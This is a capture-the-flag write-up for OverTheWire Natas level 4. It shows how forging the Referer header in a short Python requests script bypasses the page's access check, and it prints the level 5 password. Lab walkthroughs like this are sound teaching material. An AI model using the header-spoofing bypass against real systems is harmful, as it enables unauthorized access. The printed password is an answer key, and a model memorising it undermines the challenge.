Description

The page checks the Referer HTTP header and only grants access if the request came from http://natas5.natas.labs.overthewire.org/. Setting the header manually spoofs the origin.

Overview

• The Referer header is set by browsers to indicate which page a request originated from.
• Servers that gate access on Referer are trivially bypassed because the header is client-controlled.

Solution

headers = {"Referer": "http://natas5.natas.labs.overthewire.org/"}
response = requests.get(url, auth=("natas4", current_password), headers=headers)
result = re.search(r"The password for natas5 is (.*)", response.text).group(1).strip()

Password

Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD